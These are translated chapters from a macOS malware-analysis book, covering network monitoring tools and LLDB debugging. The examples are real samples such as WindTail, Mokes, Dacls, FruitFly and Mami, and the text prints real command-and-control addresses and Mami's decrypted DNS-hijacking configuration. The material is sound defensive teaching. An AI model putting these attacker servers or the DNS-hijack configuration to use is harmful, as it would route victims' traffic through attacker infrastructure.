#**FileMonitor.app/Contents/MacOS/FileMonitor -filter "Flash Player" -pretty**
{
"event" : "ES_EVENT_TYPE_NOTIFY_WRITE",
"file" : {
"destination" : "~/.FlashUpdateCheck",
"process" : {
"signing info" : {
"csFlags" : 0,
"isPlatformBinary" : 0,
"cdHash" : "00000000000000000000"
},
"path" : "~/Desktop/Album.app/Contents/MacOS/Flash Player",
"pid" : 1031
}
}
}
列表 7-6:使用文件监视器揭示持久性后门组件(Yort)
鉴于文件监控工具可以提供大部分进程监控工具捕获的信息,你可能会想,为什么还需要进程监控工具呢?其中一个原因是,某些信息(如进程参数)通常只有进程监控工具才能报告。此外,文件监控工具在默认状态下报告整个系统的文件活动,往往提供过多无关的信息。这可能会让人感到不知所措,尤其是在分析的初期阶段。虽然你可以对文件监控工具进行过滤(例如,FileMonitor 支持-filter标志),但这样做需要知道应该过滤哪些内容。相比之下,进程监控工具可能提供恶意样本操作的简洁概览,这反过来可以指导你对文件监控工具的过滤。因此,通常明智的做法是,首先使用进程监控工具观察恶意样本可能产生的命令或子进程。如果你需要更多细节,或者进程监控工具提供的信息不足,就启动文件监控工具。这时,你可以根据恶意软件的名称以及它生成的任何进程来过滤输出,从而保持输出在合理范围内。
网络监控
大多数 Mac 恶意软件样本都包含网络功能。例如,它们可能与远程命令与控制服务器进行交互,打开监听套接字以等待远程攻击者连接,甚至扫描其他系统进行感染。命令与控制服务器的交互尤为常见,因为它们允许恶意软件下载额外的有效负载、接收命令或窃取用户数据。例如,名为 CookieMiner 的恶意软件安装程序下载持久化所需的属性列表,以及一个加密货币矿工。一旦安装持久化,恶意软件会窃取密码和身份验证 Cookies,允许攻击者访问用户的账户。
恶意软件总是会包含命令与控制服务器的地址,无论是作为域名还是 IP 地址,都嵌入在其二进制文件或配置文件中,尽管它可能被混淆或加密。我们在分析恶意样本时的主要目标之一是弄清楚它们如何与网络交互。这包括揭示网络端点,如任何命令与控制服务器的地址,以及任何恶意网络流量的详细信息,如任务指令和数据外泄。同时,查找恶意软件可能已打开的监听套接字也很明智,这些套接字可能为远程攻击者提供后门访问权限。
除了揭示恶意软件的功能外,这些信息还使我们能够采取防御性措施,如开发网络级的入侵指示器,甚至与外部实体合作将命令与控制服务器下线,从而阻止感染的传播。
静态分析恶意样本可以揭示其网络功能和端点,但使用网络监控器通常是一个更简单的方式。为了说明这一点,让我们回到本章开始时提到的例子。回想一下,WindTail 的指挥和控制服务器的地址直接嵌入其二进制文件中,但为了防止手动静态分析,这些地址进行了加密。清单 7-7 是来自 WindTail 的反编译代码片段,用于解码和解密指挥和控制服务器的地址。
1 r14 = [NSString stringWithFormat:@"%@", [self yoop:@"F5Ur0CCFMO/... OLs="]];
rbx = [[NSMutableURLRequest alloc] init];
2 [rbx setURL:[NSURL URLWithString:r14]];
[[NSString alloc] initWithData:[NSURLConnection sendSynchronousRequest:rbx
3 returningResponse:0x0 error:0x0] encoding:0x4];
清单 7-7:嵌入的指挥和控制服务器,已加密以阻碍静态分析工作(WindTail)
这个地址 1(存储在R14寄存器中)用于创建一个 URL 对象(存储在RBX中)2,恶意软件向其发送请求 3。加密和编码旨在复杂化静态分析工作,但借助网络监控器,我们可以轻松恢复该服务器的地址。具体而言,我们可以在虚拟机中执行恶意软件,同时监控网络流量。几乎立刻,恶意软件连接到其服务器,揭示了其地址,flux2key.com(图 7-1)。

图 7-1:网络监控器揭示了指挥和控制服务器的地址(WindTail)
有时,你仅通过进程监视器也能发现网络端点,前提是恶意软件将其网络活动委托给系统实用工具。然而,一个专门的网络监控工具能够观察到任何网络活动,即使是像 WindTail 这样的自包含恶意软件。此外,网络监控器还可以捕获数据包,提供关于恶意软件样本的协议和文件外泄能力的宝贵信息。
广义而言,网络监控器有两种类型。第一种类型提供当前网络使用情况的快照,包括任何已建立的连接。这类工具的例子包括netstat、nettop、lsof和 Netiquette。^(4) 第二种类型则提供网络流量的包捕获。这类工具的例子包括tcpdump和 Wireshark。^(5) 这两种类型都是动态恶意软件分析中有用的工具。
macOS 的网络状态监视器
各种网络工具,包括几个内置于 macOS 中的工具,可以提供有关网络当前状态和利用率的信息。例如,它们可以报告已建立的连接(可能是到命令与控制服务器)和监听套接字(可能是等待攻击者连接的交互式后门),以及负责的进程。每个工具都支持大量的命令行标志,用于控制它们的使用、格式化或过滤输出。有关这些标志的信息,请查阅它们的 man 页面。
最著名的工具是netstat,它显示网络状态。当与-a和-v命令行标志一起执行时,它会显示所有套接字的详细列表,包括它们的本地和远程地址、状态(如已建立或监听)以及负责该事件的进程。另一个值得注意的是-n标志,它可以通过防止将 IP 地址解析为对应的域名,从而加快网络状态的枚举速度。
更动态的工具是 macOS 的nettop,它会自动刷新,显示有关网络的当前信息。除了提供套接字信息,如本地和远程地址、状态以及负责该事件的进程外,它还提供高级统计信息,如传输的字节数。nettop启动后,你可以使用 c 和 e 键分别折叠和展开其输出。
lsof工具简单地列出打开的文件,在 macOS 中,这些文件包括套接字。以 root 用户身份执行它可以获取系统范围的列表,使用-i命令行标志可以将输出限制为与网络相关的文件(套接字)。这将提供套接字信息,如本地和远程地址、状态以及负责该事件的进程。
为了查看lsof工具如何派上用场,下面我们用它来检查一个 Mac 恶意软件样本。在 2019 年中期,攻击者通过 Firefox 零日漏洞攻击 macOS 用户,安装名为 Mokes 的恶意软件。对这个样本的分析旨在恢复恶意软件的命令与控制服务器的地址。通过使用网络监控工具,这变得相当简单。在观察到恶意软件的安装程序将一个名为quicklookd的二进制文件保存在~/Library/Dropbox目录后,lsof(与-i和TCP标志一起执行,以过滤 TCP 连接)揭示了一个指向185.49.69.210端口80(通常用于 HTTP 流量)的外发连接。如列表 7-8 中缩短的输出所示,lsof将此连接归因于 Mokes 的恶意quicklookd进程:
% **lsof -i TCP**
COMMAND PID USER TYPE NAME
quicklookd 733 user IPv4 TCP 192.168.0.128:49291->185.49.69.210:http (SYN
_ SENT)
% **ps -p 733**
PID TTY CMD
733 ?? ~/Library/Dropbox/quicklookd
列表 7-8:使用lsof揭示命令与控制服务器(Mokes)的地址
网络礼仪工具
为了补充内建的命令行工具,我创建了开源的 Netiquette 工具。Netiquette利用苹果的私有网络统计框架提供了一个简单的 GUI,带有多种选项,旨在促进恶意软件分析。例如,你可以指示它忽略系统进程,按照用户指定的输入进行过滤(比如选择“监听”仅显示处于监听状态的套接字),并将结果导出为 JSON 格式。
让我们看一个例子,说明 Netiquette 如何快速揭示一个复杂恶意软件样本的远程服务器。在 2020 年中期,Lazarus 集团以恶意软件 Dacls 为目标攻击 macOS 用户。执行该恶意软件会导致一个可观察到的网络事件:在端口443(通常用于 HTTPS 流量)上尝试连接攻击者的远程服务器,地址为185.62.58.207。如图 7-2 所示,Netiquette 轻松地检测到此连接,并将其归因于一个由用户~/Library目录下的隐藏文件(.mina)支持的进程。这个进程是恶意软件的持久组件。
值得注意的是,Dacls 会尝试连接多个命令与控制服务器,因此当你多次执行恶意软件时,网络监视器中应出现各种连接尝试。这又是为什么你会发现结合静态分析和动态分析技术非常有用的另一个例子。动态分析可以快速识别一个主要的命令与控制服务器,而静态分析则可以揭示额外的备用服务器地址。

图 7-2:使用 Netiquette 发现命令与控制服务器(Dacls)的地址
网络流量监视器
某些网络监视工具捕获实际的网络流量,形式为数据包,以进行深入分析。作为恶意软件分析师,我们不仅关注命令与控制服务器的地址,还关注数据包的实际内容。这些内容能为恶意软件的能力提供深刻的见解。网络流量监视工具的例子包括无处不在的tcpdump工具和著名的Wireshark应用程序。
当从终端运行时,tcpdump将持续显示网络数据包流(通常称为dump),我们可以使用布尔表达式来过滤这个流。tcpdump工具还支持许多命令行选项,如-A以 ASCII 格式打印捕获的数据包,以及host和port选项来仅捕获特定连接,这使其在分析网络流量和理解恶意样本的协议时尤为有用。
例如,我们可以使用tcpdump观察到恶意的 InstallCore 恶意软件,它伪装成一个 Adobe Flash Player 安装程序,实际上确实下载并安装了一个合法的 Flash 副本。这种行为奇怪吗?其实不奇怪,因为被诱骗运行恶意软件的用户期待安装 Flash。在清单 7-9 中,-s0标志指示tcpdump捕获整个数据包,而-A将打印出每个数据包的 ASCII 形式。最后,我们还指定我们只关心通过默认以太网接口(en0)上端口80传输的流量。
# tcpdump -s0 -A -i en0 port 80
GET /adobe_flashplayer_e2c7b.dmg HTTP/1.1
Host: appsstatic2fd4se5em.s3.amazonaws.com
Accept: */*
Accept-Language: en-us
Connection: keep-alive
Accept-Encoding: gzip, deflate
User-Agent: Installer/1 CFNetwork/720.3.13 Darwin/14.3.0 (x86_64)
清单 7-9:使用tcpdump观察下载(InstallCore)
和其他随 macOS 一起提供的网络工具一样,tcpdump支持许多额外的命令行选项。例如,你可以使用-n标志指示它不要将名称解析为地址,使用-XX标志打印有关数据包的额外信息,包括数据的十六进制转储。后者在分析非 ASCII 流量时特别有用。
另一个网络监控工具 Wireshark 提供了一个用户界面和强大的协议解码功能。使用它时,指定你希望捕获数据包的网络接口。(要从主要的物理网络接口捕获数据包,选择en0。)Wireshark 将开始捕获数据包,你可以基于 IP 地址、端口和协议等标准来过滤数据。例如,假设你已经通过静态分析,或使用像 Netiquette 这样的工具动态地确定了恶意软件命令与控制服务器的远程地址。你现在可以应用一个过滤器,只显示发送到这个服务器的所有数据包,使用以下语法:
ip.dst == `<address of C&C server>`
图 7-3 显示了 Wireshark 捕获的由恶意软件 ColdRoot 收集的调查数据。从这一捕获中,我们可以轻松地确定恶意软件在初次感染系统时收集和传输的信息。

图 7-3:使用 Wireshark 捕获调查数据(ColdRoot)
同样,记得 FruitFly 是一个相当阴险的 Mac 恶意软件,曾长达十多年未被发现。一旦被捕获,网络监控工具在其分析中发挥了重要作用。例如,通过 Wireshark 我们可以观察到恶意软件响应攻击者的命令与控制服务器,并返回它在感染的机器上安装的位置(图 7-4)。

图 7-4:使用 Wireshark 揭示功能,在这种情况下是返回恶意软件在感染系统中的位置的命令(FruitFly)
另一个例子中,Wireshark 揭示了恶意软件将屏幕截图作为 .png 文件外泄(图 7-5)。

图 7-5:使用 Wireshark 揭示功能,在此案例中为返回受感染系统(FruitFly)屏幕截图的命令
想了解更多关于 Wireshark 的信息,包括如何编写捕获和显示过滤器,请参见官方 Wireshark Wiki 页面^(6)。
如果恶意软件生成的网络流量是加密的,比如通过 SSL/TLS 加密,那么会怎样呢?嗯,在这种情况下,网络监视器的默认配置可能帮助不大,因为它无法解密恶意流量。但不用担心——通过利用一个安装了自己根证书的代理,并对网络通信进行“中间人攻击”,就能恢复明文流量。有关这种技术的更多信息,包括代理的具体设置和配置,请参见“SSL 代理”^(7)。
接下来
本章我们讨论了恶意软件分析师工具包中至关重要的进程、文件和网络监控器。然而,有时你需要更强大的工具。例如,如果恶意软件的网络流量是端到端加密的,网络监视器可能就派不上用场。复杂的样本可能还会尝试通过反分析逻辑来阻碍动态监控工具的使用。好消息是:我们还有另一种动态分析工具,那就是调试器。在下一章,我们将深入探讨调试的世界,毫无疑问,这是分析即使是最复杂恶意软件的最彻底方法。
结束注释
第八章:调试

尽管上一章介绍的被动动态分析工具通常可以提供恶意样本的见解,但它们只是间接观察样本的行为,可能无法完全揭示其内部工作原理。在某些情况下,你需要更全面的工具。
最终的动态分析工具是调试器。调试器是一个程序,它允许你逐条执行另一个程序的指令。在任何时候,你都可以检查或修改它的寄存器和内存内容,操控控制流等等。在这一章中,我将通过 macOS 的事实标准调试器 LLDB 来介绍各种调试概念。接下来,我们将通过一个案例研究,应用这些概念来揭示在苹果官方应用商店中发现的一款应用程序中的隐秘加密货币挖掘逻辑。
为什么你需要调试器
以下示例应该清楚地说明调试器的强大功能。看看这段来自恶意软件 Mami(由我亲自命名)反汇编的代码片段。在这段代码中,我们发现了一大块嵌入的加密数据,它被传递给名为 setDefaultConfiguration 的方法(清单 8-1):
[SBConfigManager setDefaultConfiguration:
@"uZmgulcipekSbayTO9ByamTUu_zVtsflazc2Nsuqgq0dXkoOzKMJMNTULoLpd-QV9qQy6VRluzRXqWOGscgheRvikLkPR
zs1pJbey2QdaUSXUZCX-UNERrosul22NsW2vYpS7HQO4VG5l8qic3rSH_fAhxsBXpEe557eHIr245LUYcEIpemnvSPTZ_lN
p2XwyOJjzcJWirKbKwtc3Q61pD..."];
清单 8-1:加密数据(Mami)
如果一个恶意样本包含加密数据,那么恶意软件作者通常试图隐瞒某些信息,无论是对检测工具还是对恶意软件分析师。因此,当我们遇到这样的数据时,我们应该有动力将其解密,以揭示其秘密。根据 Mami 方法的名称,我们可以合理地推测,这些嵌入的数据决定了一些初始配置。它可能包含对恶意软件分析师有价值的信息,比如命令与控制服务器的地址、恶意软件的能力洞察等等。
那么我们如何解密它呢?静态分析方法通常效率低下,因为它们要求我们既要理解所使用的加密算法,又要恢复解密密钥。文件或进程监视器在这种情况下也几乎没有用处,因为 Mami 的加密配置数据既没有写入磁盘,也没有传递给其他进程。换句话说,它仅在 Mami 进程的内存空间中以解密状态存在。
使用调试器,我们可以轻松提取这些信息。首先,我们可以指示恶意软件执行,直到它到达 setDefaultConfiguration: 方法。然后,通过单步执行,即逐条执行每一条指令,我们可以让恶意软件继续执行,控制其进程,在完成配置数据的解密时暂停。由于调试器可以直接检查它正在调试的进程的内存,因此我们可以随后转储,或者打印出现在已解密的配置数据(清单 8-2):
{
"dnsChanger" = {
"affiliate" = "";
"blacklist_dns" = ();
"encrypt" = true;
"external_id" = 0;
"product_name" = dnsChanger;
"publisher_id" = 0;
...
"setup_dns" = (
"82.163.143.135",
"82.163.142.137"
);
"shared_storage" = "/Users/%USER_NAME%/Library/Application Support";
"storage_timeout" = 120;
};
"installer_id" = 1359747970602718687;
...
}
清单 8-2:解密后的配置数据(Mami)
各种解密的键/值对,例如"product_name" = dnsChanger和setup_dns数组,提供了对恶意软件目标的洞察:劫持感染系统的 DNS 设置,然后强制将域名解析通过攻击者控制的服务器进行路由。顺便提一下,从解密的配置中我们现在知道,这些服务器位于82.163.143.135和82.163.142.137。也许这个分析中最值得注意的方面是,我们几乎没有动手,也不需要花时间去理解这些数据是如何被加密的!
这只是调试器强大功能的一个例子。通常,你应该使用调试器来全面理解一个代码样本,并动态修改它,例如绕过反分析逻辑(在第九章中讨论)。当然,一些挑战会影响这些好处。调试器是一个复杂的工具,需要特定的低级知识;因此,完成分析可能需要相当长的时间。然而,一旦你理解了调试器的概念和高效调试的技巧,调试器将成为你最好的恶意软件分析助手。通常,它被证明是分析任何样本时最有效且最全面的方法。
然而,有一点警告值得重申。动态分析样本(包括调试器中的分析)涉及执行(潜在的)恶意代码,因此应始终在隔离的分析系统或虚拟机上进行。后者具有快照的优势,可以让你轻松地在恶意样本的调试会话出现问题时恢复。
LLDB 调试器
本章我们将重点介绍如何使用LLDB,这是调试程序(包括恶意软件)在 macOS 上的事实标准工具。虽然像 Hopper 这样的其他应用程序在其上构建了用户友好的界面,但你可能会发现,直接与 LLDB 的命令行界面交互是最有效的方法。如果你已经安装了 Apple 的 Xcode,你会发现 LLDB 与之一起安装在/usr/bin/lldb。如果没有,你可以通过在终端中输入lldb并同意安装提示来安装 LLDB 作为独立程序。
在本节中,我们将介绍各种调试概念,例如断点和控制流操作,我将演示如何通过 LLDB 应用这些概念,以促进恶意软件的分析。需要注意的是,LLDB 网站提供了丰富的详细知识,例如深入的教程。^(1) 此外,在调试过程中,你始终可以使用 LLDB 的help命令查看有关任何命令的内联信息。
从高层次来看,调试会话通常按照以下方式进行:
-
你通过将一个项目(例如恶意样本)加载到调试器中来初始化调试会话。
-
您可以在示例代码的不同位置设置断点,例如在其主入口点或感兴趣的函数调用处。示例被启动并运行,直到遇到断点,此时执行将被暂停。
-
一旦调试器暂停执行,您就可以自由地四处探索,检查内存和寄存器值,操控控制流,设置其他断点,等等。
-
您可以继续执行,直到遇到下一个断点,或一次执行一条指令。
请记住,当调试恶意样本时,它被允许执行。因此,始终在虚拟机或独立分析系统中进行调试。这可以确保不会发生持久性损害,并且如果您在虚拟机中进行调试,始终可以将其恢复到先前的状态。在调试会话中,这通常非常有用。例如,您可能会不小心错过一个断点,导致恶意软件完全运行。
启动调试器会话
有几种方法可以在 LLDB 中启动调试会话。最简单的方法是从终端执行 LLDB,传入要分析的二进制文件路径,然后是任何其他附加参数(清单 8-3):
% **lldb ~/Downloads/malware** `<arg0 arg1 arg2>`
(lldb) **target create "malware"**
Current executable set to 'malware' (x86_64).
清单 8-3:启动调试会话
如您所见,调试器将显示目标创建消息,记录下要调试的可执行文件,并识别其架构。尽管 LLDB 已经创建了调试会话,但尚未执行程序的任何指令。
您还可以将 LLDB 附加到正在运行的进程实例,如下所示:
% **lldb -pid**`<target pid>`
一旦调试器附加到进程,调试会话就可以开始。然而,我们很少使用这种方法分析恶意软件,因为一旦恶意软件已经运行,其核心逻辑(我们通常希望理解的部分)可能已经执行。此外,这些逻辑可能包含反调试代码,阻止调试器附加。
启动调试会话的第三种方式是通过 LLDB shell 运行 process attach 命令,指定进程名称并添加 --waitfor 标志,如清单 8-4 所示。这会指示调试器等待与该名称匹配的进程,并在进程启动时附加。
% **lldb**
(lldb) **process attach --name malware --waitfor**
清单 8-4:等待附加到进程(命名为恶意软件)
附加到进程后,调试器将暂停执行。输出将类似于清单 8-5:
Process 14980 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = signal SIGSTOP
...
Executable module set to "~/Downloads/malware".
Architecture set to: x86_64h-apple-macosx-.
清单 8-5:进程附加,通过 --waitfor 标志触发
--waitfor 标志在恶意软件生成其他恶意进程时尤其有用,您可能还希望调试这些进程。
控制执行
调试器最强大的功能之一是能够精确控制其正在调试的进程的执行。例如,您可以指示进程执行一条指令,然后暂停。表 8-1 描述了几个与执行控制相关的 LLDB 命令。
表 8-1: 控制执行的 LLDB 命令
| LLDB 命令 | 描述 |
|---|---|
run (r) |
运行调试的进程。启动执行,直到命中断点、遇到异常或进程终止,执行才会中止。 |
continue (c) |
继续执行调试中的进程。与run命令类似,执行会持续,直到遇到断点、异常或进程终止。 |
nexti (n) |
执行程序计数器寄存器指向的下一条指令,然后停止。此命令将跳过函数调用和重复的指令。 |
stepi (s) |
执行程序计数器寄存器指向的下一条指令,然后停止。与nexti命令不同,此命令将进入函数调用,允许分析被调用的函数。 |
finish (f) |
执行当前函数(称为帧)中的其余指令,返回并停止。 |
| ctrl-c | 暂停执行。如果进程已经运行过(r)或继续执行过(c),则此操作会使进程在当前执行的位置暂停。 |
请注意,你可以将大多数 LLDB 命令缩写为单个字母或双字母。例如,你可以输入s来代替stepi命令。还要注意,LLDB 为其命令提供了多个名称,以保持与 GNU 项目调试器(GDB)的向后兼容性,GDB 是 LLDB 的前身之一。^(3) 例如,为了执行单步操作,LLDB 支持thread step-inst和step,这与 GDB 兼容。为了简便起见,本章描述了与 GDB 兼容的 LLDB 命令名称。
尽管你可以逐步执行二进制文件中的每一条可执行指令,但这样做非常繁琐。另一方面,指示调试器不受限制地运行恶意软件将完全违背调试的目的。解决方法是使用断点。
使用断点
断点是指令调试器在指定位置暂停执行的命令。通常你会在二进制文件的入口点、方法或函数调用处,或者在感兴趣的指令地址处设置断点。你可能需要先通过静态分析工具(如反汇编器)对二进制文件进行初步分析,以确定断点的具体位置。一旦命中断点并且调试器暂停执行,你将能够检查进程的当前状态,包括内存、CPU 寄存器内容、调用栈等。
你可以使用breakpoint命令(简写为b)在命名位置设置断点,例如函数或方法名称,或在某个地址上设置断点。在后台,调试器会透明地修改进程内存空间,将指定位置的字节覆盖为断点指令。在 Intel x86_64 系统上,这就是中断 3 指令,值为0xCC。一旦设置,当包含断点的内存地址被执行时,中断 3 将导致 CPU 将控制权交还给调试器,从而暂停执行。当然,如果继续执行,调试器会首先执行原始指令(该指令已透明地被覆盖以设置断点),以保持程序的正常功能。
假设我们想调试一个名为malware的恶意样本,并在其main函数(见列表 8-6)处暂停执行。如果恶意软件的符号没有被剥离(即编译时包含了调试符号),我们可以开始一个调试会话,然后输入以下命令按名称设置断点。
(lldb) **b main**
Breakpoint 1: where = malware`main,
address = 0x100004bd9
列表 8-6:在程序的main函数上设置断点
设置了这个断点后,我们可以使用run命令指示调试器运行被调试的进程。执行将开始,然后在到达main函数起始指令时(见列表 8-7)暂停。
(lldb) **run**
(lldb) Process 1953 stopped
stop reason = breakpoint 1.1
-> 0x100004bd9 <+0>: pushq %rbp
列表 8-7:断点命中;执行暂停
然而,通常情况下,编译后的二进制文件中没有函数名称,因此我们必须通过指定地址来设置断点。你也可能希望在某个地址上设置断点,比如在感兴趣的函数内。要在地址上设置断点,指定以0x为前缀的十六进制地址即可。
在前面的示例中,如果main函数(位于0x100004bd9)没有命名,我们仍然可以按以下方式在其起始位置设置断点(见列表 8-8):
(lldb) **b 0x100004bd9**
Breakpoint 1: where = malware`__lldb_unnamed_symbol1$$malware,
address = 0x100004bd9
列表 8-8:通过地址设置断点
幸运的是,大部分 Mac 恶意软件都是用 Objective-C 编写的,这意味着即使是编译后的版本,它也会包含类和方法名称。因此,我们也可以通过将类和完整的方法名称传递给breakpoint(b)命令,在这些方法名称或它调用的任何 Apple API 上设置断点。
在方法名称上设置断点
回想一下,在第五章中我们使用class-dump工具提取了 Objective-C 的类和方法名称。如果你发现了感兴趣的方法,可以在这些方法上设置断点进行更深入的分析。例如,通过在 FinFisher 恶意软件的安装程序上运行class-dump,我们会发现一个名为installPayload的方法,它属于一个名为appAppDelegate的类。指定类和方法名称后,我们就可以设置断点,以便动态分析恶意软件如何持续地安装自己(见列表 8-9):
*```
Target 0: (installer) stopped.
(lldb) b -[appAppDelegate installPayload]
Breakpoint 1: where = installer`-[appAppDelegate installPayload],
address = 0x000000010000336c
列表 8-9:在`installPayload`方法(FinFisher)上设置断点
请注意,设置 Apple Objective-C 方法的断点可能有些微妙,因为存在各种不透明的编译器优化和抽象。例如,假设在反汇编器中,你注意到一个恶意样本正在调用 Apple 类 `NSTask` 的 launch 方法。你希望在此方法上设置调试器断点,以便当恶意软件尝试启动外部命令或程序时暂停。然而,在运行时,launch 方法的调用实际上并不是由 `NSTask` 类处理,而是由其子类 `NSConcreteTask` 处理。因此,你实际上需要以以下方式设置断点:
b -[NSConcreteTask launch]
这可能引发以下一个合理的问题:你怎么知道哪个类或子类实际上会处理一个方法?一种方法是跟踪 `objc_msgSend` 函数(及其变体)的调用。由于 Objective-C 调用会在运行时通过此函数路由,因此可以揭示所有类及其调用的方法。稍后我将通过 LLDB 调试器脚本演示如何做到这一点。有关调试 Objective-C 代码的深入讨论,包括设置断点的更多信息,请参见 Ari Grant 的精彩文章《在调试器中跳舞——与 LLDB 共舞》^(4)。
#### 条件触发断点
你经常会希望断点始终触发。其他时候,为了提高效率,可能希望只有在满足特定条件时,断点才会触发并暂停进程。幸运的是,LLDB 支持为断点应用条件。只有当条件评估为真时,断点才会触发并暂停进程。要为断点添加条件,可以使用 `-c` 标志,然后指定条件。例如,假设一个恶意样本正在向远程命令与控制服务器发送加密数据。在调试器中,我们可以在负责加密数据的函数上设置断点,以便在数据传输之前查看其明文内容。不幸的是,如果恶意软件还会定期发送小的“心跳”消息,这将不断触发我们的断点。我们很可能希望忽略这样的消息,因为它们不包含有意义的数据,而且会拖慢我们的分析进度。
解决方案是什么?给断点添加一个条件!具体来说,我们会指示断点仅在加密和泄露的数据大小大于心跳消息时才触发。为了举例说明,假设消息加密函数的第二个参数是消息的大小(可以在 `$rsi` 寄存器中找到),且心跳消息的大小最大为 128 字节。要为断点 1 添加此条件,我们将执行 列表 8-10 中的命令:
(lldb) br modify -c '$rsi > 128' 1
(lldb) br list
Current breakpoints:
1: address = 0x100003d28, locations = 1, resolved = 1, hit count = 0
Condition: $rsi > 128
列表 8-10:设置条件断点
加上这样的条件后,调试器只会在传入加密和泄露函数的数据大小大于 128 字节时才会暂停。完美!
#### 向断点添加命令
通常,我们会设置一个断点,并在触发时执行一个确定性的操作。在前面的示例中,我们可能总是希望打印出未加密的数据,以查看恶意软件即将泄露的内容。虽然我们可以每次断点触发时手动执行此操作,但将一个称为*命令*的内容添加到断点中可能会更高效。这个命令由一个或多个调试器命令组成,并将在每次触发断点时自动执行。要将命令添加到断点中,请使用`breakpoint command add`并通过编号指定断点。然后,指定要执行的命令,再输入`DONE`。沿用之前的示例,假设消息加密函数的第一个参数是消息的明文内容(可以在`RDI`寄存器中找到)。为了添加一个断点操作来打印这个内容,我们将使用`print object`(`po`)命令(将在本章后面讨论)。我们还会告诉调试器继续执行(列表 8-11):
(lldb) breakpoint command add 1
Enter your debugger command(s). Type 'DONE' to end.
po $rdi
continue
DONE
列表 8-11: 添加断点命令
现在,每当触发这个断点时,调试器会打印出传递给函数的明文消息,然后继续执行。我们可以轻松地坐下来观察。
#### 管理断点
LLDB 调试器还支持多种命令来管理断点。可以使用表 8-2 中描述的命令来设置、修改、删除、启用、禁用或列出断点。
表 8-2: 管理断点的 LLDB 命令
| **LLDB 命令** | **描述** |
| --- | --- |
| `breakpoint` (`b`) `<function/method name>` | 在指定的函数或方法名处设置断点。 |
| `breakpoint` (`b`) 0x`<address>` | 在指定的内存地址上的指令处设置一个断点。 |
| `breakpoint list` (`br l`) | 显示所有当前的断点,包括它们的编号。 |
| `breakpoint enable`/`disable` `<number>` (`br e/dis`) | 启用或禁用一个断点(通过编号指定)。 |
| `breakpoint modify` `<modifications>` `<number>` `(br mod)` | 修改断点的选项(通过编号指定)。 |
| `breakpoint delete` `<number>` (`br del`) | 删除一个断点(通过编号指定)。 |
运行带有`breakpoint`参数的`help`命令可以提供与断点相关的命令的完整列表,包括表 8-2 中提到的那些命令。
(lldb) help breakpoint
Syntax: breakpoint <subcommand> [<command-options>]
如需了解更多有关 LLDB 支持的断点命令的信息,请参见该工具的相关文档。⁵
### 检查所有内容
一旦你暂停了程序的执行,你可以指示调试器显示许多内容,包括 CPU 寄存器的值、进程内存的内容或其他进程状态信息,如当前调用栈。这个强大的功能使你能够检查运行时信息,这些信息通常在静态分析时无法直接获得。例如,在本章开头的案例分析中,我们能够查看恶意软件解密后的内存配置数据。
要转储 CPU 寄存器的内容,请使用`register read`命令(或简化的`reg r`)。要查看特定寄存器的值,请将寄存器名称作为最后一个参数传入:
(lldb) reg read rax
rax = 0x0000000000000000
我们通常也对寄存器指向的内容感兴趣。也就是说,我们想要查看实际内存地址的内容。`memory read`命令或与 GDB 兼容的`x`命令可以用来读取内存内容。请注意,这些指令都要求寄存器名称以`$`作为前缀;例如,`$rax`。
但是,除非我们明确指定数据格式,否则 LLDB 将打印出原始十六进制字节。表 8-3 列出了多种格式说明符,用于指示 LLDB 将内存地址视为字符串、指令或字节。
表 8-3:用于显示内存内容的 LLDB 命令
| **LLDB 命令** | **描述** |
| --- | --- |
| `x/s` `<寄存器或内存地址>` | 将内存显示为以空字符终止的字符串。 |
| `x/i` `<寄存器或内存地址>` | 将内存显示为汇编指令。 |
| `x/b` `<寄存器或内存地址>` | 将内存显示为字节。 |
你还可以通过在`/`后面添加数字值来指定要显示的项目数量。例如,要从当前指令指针(`RIP`)位置开始反汇编 10 条指令,可以输入`x/10i $rip`。
LLDB 调试器还支持`print`命令。当与寄存器或内存地址一起执行时,它将显示指定位置的内容。你还可以指定类型转换,以指示`print`命令格式化数据。例如,如果`RSI`寄存器指向一个以空字符终止的字符串,你可以通过输入`print (char*)$rsi`来显示它。
`print`命令也可以使用`object`说明符来执行。此命令可用于打印任何 Objective-C 对象的内容(或在 Objective-C 术语中称为*描述*)。例如,考虑本章开头展示的示例。在`setDefaultConfiguration`方法中,Mami 恶意软件将其配置数据解密为一个由`RAX`寄存器引用的 Objective-C 对象。因此,使用`print object`命令,我们可以打印出该对象的详细描述,包括其所有键/值对(清单 8-12):
(lldb) print object $rax
{
"dnsChanger" = {
"affiliate" = "";
"blacklist_dns" = ();
"encrypt" = true;
"external_id" = 0;
"product_name" = dnsChanger;
"publisher_id" = 0;
...
"setup_dns" = (
"82.163.143.135",
"82.163.142.137"
);
"shared_storage" = "/Users/%USER_NAME%/Library/Application Support";
"storage_timeout" = 120;
};
"installer_id" = 1359747970602718687;
...
}
清单 8-12:打印字典对象(Mami)
你可能会想,给定一个任意的值或地址,如何决定使用哪种显示命令。也就是说,如何判断该地址是指向一个 Objective-C 对象、一个字符串,还是一系列指令?如果要显示的值是来自已记录 API 的参数或返回值,它的类型会在文档中注明。例如,苹果的大多数 Objective-C API 或方法返回对象,这些对象应使用 `print object` 命令来显示。然而,如果没有上下文可用,二进制文件的反汇编可能提供一些线索,或者通过试错方法也能解决问题。例如,如果 `print object` 命令没有产生有意义的输出,可以尝试使用 `x/b` 命令将指定数据的内容作为原始十六进制字节输出。
`backtrace`(或 `bt`)调试命令可以打印一系列堆栈帧,这是另一个有用的调试命令,用于检查进程。当触发断点时,我们通常需要确定程序的执行流程,直到那个时刻为止。例如,假设我们在恶意软件的字符串解密函数上设置了断点,这个函数可能在恶意代码的多个地方被调用,用于解密嵌入的字符串。当断点触发时,我们希望知道调用者的位置,即负责调用该函数的代码的地址。这可以通过 `backtrace` 实现。每当一个函数被调用时,调用堆栈中都会创建一个堆栈帧——它包含了进程执行完函数后将返回的地址等信息。由于返回地址是紧接在调用指令之后的地址,我们可以检查它来准确确定调用者的地址。此外,由于 `backtrace` 还包含前面的堆栈帧,因此可以重建整个函数调用层级。如果你有兴趣了解更多关于回溯和调用栈的内容,可以参考苹果的写作《Examining the Call Stack》。^(6)
### 修改进程状态
通常,一旦你设置了断点并暂停了执行,调试会话是相当被动的。然而,你可以通过直接修改进程的状态或甚至控制流来与进程进行交互。这在分析实现了反调试逻辑的恶意样本时尤为有用,相关话题将在下一章讨论。
一旦定位到反调试逻辑,一个选择是通过修改指令指针,指示调试器跳过这段代码。在某些情况下,你也可以通过简单地改变寄存器的值来绕过这种反调试代码。例如,修改 `RAX` 寄存器的值可以破坏一个函数返回的值。
